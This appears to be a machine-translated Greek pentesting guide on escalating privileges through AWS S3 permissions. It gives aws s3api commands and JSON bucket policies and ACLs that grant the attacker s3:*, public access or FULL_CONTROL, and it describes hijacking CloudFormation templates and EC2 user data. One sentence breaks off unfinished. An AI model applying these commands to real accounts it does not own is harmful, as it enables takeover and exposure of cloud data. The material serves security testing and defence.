Ένας επιτιθέμενος με αυτές τις άδειες πάνω σε ενδιαφέροντα buckets μπορεί να καταφέρει να αποκτήσει τον έλεγχο των πόρων και να ανεβάσει τα προνόμια.
Για παράδειγμα, ένας επιτιθέμενος με αυτές τις άδειες πάνω σε ένα bucket cloudformation με το όνομα "cf-templates-nohnwfax6a6i-us-east-1" θα μπορούσε να αποκτήσει τον έλεγχο της αναπτυξιακής διαδικασίας. Η πρόσβαση μπορεί να δοθεί με την ακόλουθη πολιτική:
Και η αποπροσανατολισμός είναι δυνατός επειδή υπάρχει ένα μικρό χρονικό παράθυρο από τη στιγμή που ο πρότυπος ανεβαίνει στο κάδο μέχρι τη στιγμή που το πρότυπο εκτελείται. Ένας επιτιθέμενος μπορεί απλά να δημιουργήσει μια συνάρτηση lambda στον λογαριασμό του που θα ενεργοποιηθεί όταν αποστέλλεται μια ειδοποίηση κάδου, και αποπροσανατολίζει το περιεχόμενο αυτού του κάδου.
Αυτές είναι οι άδειες για λήψη και αποστολή αντικειμένων στο S3. Πολλές υπηρεσίες μέσα στο AWS (και εκτός αυτού) χρησιμοποιούν την αποθήκευση S3 για να αποθηκεύουν αρχεία διαμόρφωσης.
Ένας επιτιθέμενος με δικαίωμα ανάγνωσης μπορεί να βρει ευαίσθητες πληροφορίες σε αυτά.
Ένας επιτιθέμενος με δικαίωμα εγγραφής μπορεί να τροποποιήσει τα δεδομένα για να καταχραστεί κάποια υπηρεσία και να προσπαθήσει να αναβαθμίσει τα δικαιώματα.
Αυτά είναι μερικά παραδείγματα:
Αν ένα παράδειγμα EC2 αποθηκεύει τα δεδομένα χρήστη σε έναν κάδο S3, ένας επιτιθέμενος μπορεί να το τροποποιήσει για να εκτελέσει αυθαίρετο κώδικα μέσα στο παράδειγμα EC2.
s3:PutBucketPolicy
Ένας επιτιθέμενος, που πρέπει να είναι από τον ίδιο λογαριασμό, αν όχι θα εμφανιστεί το σφάλμα Η συγκεκριμένη μέθοδος δεν επιτρέπεται, με αυτήν την άδεια θα μπορεί να χορηγήσει στον εαυτό του περισσότερες άδειες για τον κάδο(ους), επιτρέποντάς του να διαβάσει, να γράψει, να τροποποιήσει, να διαγράψει και να αποκαλύψει κάδους.
# Update Bucket policyawss3apiput-bucket-policy--policyfile:///root/policy.json--bucket<bucket-name>## JSON giving permissions to a user and mantaining some previous root access{"Id":"Policy1568185116930","Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"AWS":"arn:aws:iam::123123123123:root"},"Action":"s3:ListBucket","Resource":"arn:aws:s3:::somebucketname"},{"Effect":"Allow","Principal":{"AWS":"arn:aws:iam::123123123123:user/username"},"Action":"s3:*","Resource":"arn:aws:s3:::somebucketname/*"}]}## JSON Public policy example### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{"Id":"Policy1568185116930","Version":"2012-10-17","Statement": [{"Sid":"Stmt1568184932403","Action": ["s3:ListBucket"],"Effect":"Allow","Resource":"arn:aws:s3:::welcome","Principal":"*"},{"Sid":"Stmt1568185007451","Action": ["s3:GetObject"],"Effect":"Allow","Resource":"arn:aws:s3:::welcome/*","Principal":"*"}]}
s3:GetBucketAcl, s3:PutBucketAcl
Ένας επιτιθέμενος μπορεί να καταχραστεί αυτές τις άδειες για να του επιτρέψουν περισσότερη πρόσβαση σε συγκεκριμένα κάδους.
Σημειώστε ότι ο επιτιθέμενος δεν χρειάζεται να είναι από τον ίδιο λογαριασμό. Επιπλέον, η πρόσβαση εγγραφής
# Update bucket ACLawss3apiget-bucket-acl--bucket<bucket-name>awss3apiput-bucket-acl--bucket<bucket-name>--access-control-policyfile://acl.json##JSON ACL example## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.{"Owner":{"DisplayName":"<DisplayName>","ID":"<ID>"},"Grants": [{"Grantee":{"Type":"Group","URI":"http://acs.amazonaws.com/groups/global/AuthenticatedUsers"},"Permission":"FULL_CONTROL"}]}## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
s3:GetObjectAcl, s3:PutObjectAcl
Ένας επιτιθέμενος μπορεί να καταχραστεί αυτές τις άδειες για να του επιτραπεί περισσότερη πρόσβαση σε συγκεκριμένα αντικείμενα μέσα σε κάδους.
# Update bucket object ACLawss3apiget-object-acl--bucket<bucekt-name>--keyflagawss3apiput-object-acl--bucket<bucket-name>--keyflag--access-control-policyfile://objacl.json##JSON ACL example## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.{"Owner":{"DisplayName":"<DisplayName>","ID":"<ID>"},"Grants": [{"Grantee":{"Type":"Group","URI":"http://acs.amazonaws.com/groups/global/AuthenticatedUsers"},"Permission":"FULL_CONTROL"}]}## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
s3:GetObjectAcl, s3:PutObjectVersionAcl
Ένας επιτιθέμενος με αυτά τα προνόμια αναμένεται να μπορεί να τοποθετήσει ένα Acl σε μια συγκεκριμένη έκδοση αντικειμένου.